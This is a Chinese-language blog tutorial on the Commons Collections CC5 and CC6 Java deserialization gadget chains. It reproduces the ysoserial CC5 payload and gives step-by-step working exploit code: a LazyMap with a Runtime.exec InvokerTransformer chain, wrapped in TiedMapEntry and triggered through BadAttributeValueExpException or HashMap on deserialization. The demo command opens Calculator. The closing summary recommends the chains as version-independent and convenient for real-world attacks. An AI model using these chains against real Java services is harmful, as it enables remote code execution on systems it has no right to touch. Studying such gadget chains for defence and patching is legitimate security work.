前言
這是common-collections 反序列化的第三篇文章,這次分析利用鏈CC5和CC6,先看下Ysoserial CC5 payload:
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
前面到LazyMap這一段我們已經非常熟悉了,惡意的Transform放到了LazyMap中,只要有其他地方呼叫LazyMap的get()方法即可觸發惡意Transform。
通過IDEA的Find Usages功能,可以看到有上千個地方有對lazymap呼叫,而YsoSerial CC5選擇了TiedMapEntry。
TiedMapEntry
為什麼CC5 選擇使用TiedMapEntry呢,看一下TiedMapEntry的原始碼,其中getValue()有對map呼叫get()方法,那getValue()就能觸發程式碼執行,捎帶的本類中還有equals
、hashCode
、toString
有呼叫getValue,也就是說在TiedMapEntry 能觸發程式碼執行的有 equals
、hashCode
、toString
、getValue
這四個方法,其中toString和equals 某些場景下能夠被隱式呼叫。
利用鏈挖掘
將惡意類繫結到TiedMapEntry後,因為可以觸發的方法變多了,同時特別是toString和equel方法更加通用所以,只要找到一個類滿足以下條件,那RCE就能完成了:
- 該類有繼承可以被序列化標誌的Serializable介面,或者其父類有繼承Serializable
- 該類的readObject方法中有呼叫可控變數的
toString
、equel
、hashCode
、getValue
滿足這兩個條件其實有很多,對應的分別有
-
呼叫toString的BadAttributeValueExpException 對應CC5
-
呼叫hashcode的HashMap,對應CC6
一、BadAttributeValueExpException(CC5)
先來分析下CC5的BadAttributeValueExpException,開啟原始碼定位readObject,非常明顯,有對序列化變數val
的toString()操作。
看一下這個val長啥樣:
val是一個Object型別的私有化變數,那思路就很清晰,只要把我們構造的TiedMapEntry 通過反射賦值給val即可。
實操
第一步 構造惡意的LazyMap
// 第一步 構造惡意lazyMap
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
第二步 構造惡意的TiedMapEntry
// 第二步 構造惡意的 TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");
第三步 構造利用類 BadAttributeValueExpException
這裡有個細節,雖然能夠直接通過構造方法賦值給val,但在構造方法中有對入參做toString操作,那得到的val就是String而不是map了,所以只能通過反射的方式去賦值給val
// 第三步 構造 BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);
第四步 反序列化驗證
// 第四步 反序列化驗證
String path = ExpUtils.serialize(badAttributeValueExpException);
ExpUtils.unserialize(path);
執行一下,命令成功執行:
HashMap
上面以BadAttributeValueExpException作為利用,下面看一下HashMap#readObject的原始碼,HashMap中有對反序列化的key值做hash操作:
跟進一下hash(),呼叫了key的hashCode()方法,結合我們對TiedMapEntry的分析,這裡只要將key賦值為TiedMapEntry,在反序列化時即可完成RCE。
實操
第一步 構造惡意TiedMapEntry
這裡有一點和前面不一樣,傳遞給chainedTransformer的是一個 new ConstantTransformer(1)
相當於空操作的fakeTransformer,這是為了避免後面在hashmap在put時會執行程式碼。
// 第一步 構造惡意 tiedMapEntry
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransformer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");
第二步 繫結到hashmap上
Map mapStringHashMap = new HashMap<>();
mapStringHashMap.put(tiedMapEntry,"outerKey");
第三步 移除第一個hashmap的entryKey
這裡可以想一下為什麼要這麼操作。
因為HashMap不光在readobject時會執行hash操作,在put的時候也會計算hash,這樣put的時候第一個hashmap就已經生成entryKey的key了,而在反序列化的時候系統判斷存在就不會再執行transform方法,也就不會觸發程式碼執行。
其實這裡為什麼在已經傳遞給tiedMapEntry後還能修改第一個hashmap並生效也說明了,Java中傳遞給TiedMapEntry只是一個引用,可以在外面進行修改。
evilMap.remove("entryKey");
第四步 把惡意的transfomer通過反射重新賦值給chainedTransformer並反序列化驗證
ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
String path = ExpUtils.serialize(mapStringHashMap);
ExpUtils.unserialize(path);
執行結果:
總結
本篇文章在前文LazyMap的基礎上進一步通過TiedMapEntry封裝,從而帶來了CC5與CC6的反序列化利用鏈,值得說明的是,CC5、CC6目前沒有版本限制,執行非常通用,我在最近的JDK1.8.261下都能成功執行,是在實戰中比較好利用的鏈。